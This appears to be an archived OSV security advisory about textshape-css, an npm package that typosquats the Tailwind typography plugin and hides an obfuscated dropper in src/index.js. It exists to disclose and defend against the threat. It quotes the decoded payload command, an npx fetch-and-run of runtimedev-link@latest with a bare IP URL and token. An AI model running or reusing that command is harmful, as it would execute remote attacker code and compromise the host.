Malicious code in textshape-css (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-6475
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60) The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to `child_process`, `spawn`/`exec`, `/bin/sh`, and the command `npx -y runtimedev-link@latest --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"`. A trailing `_.y();` invokes this immediately whenever any consumer does `require('textshape-css')` / `import 'textshape-css'`. On POSIX it spawns `/bin/sh -c 'nohup... >/dev/null 2>&1'` detached with stdio ignored; on Windows it goes via `child_process.exec` with `windowsHide`. The effect is to fetch and run an unpinned third-party npm package (`runtimedev-link@latest`) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin. ## Source: ghsa-malware (65fa392a5abf97b05b32644b1085e63b26e3ea3e765e0cda6ab180e1593a0d95) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
- Source published
- 25 Jun 2026 20:26:21 UTC
- Source modified
- 15 Jul 2026 05:20:15 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.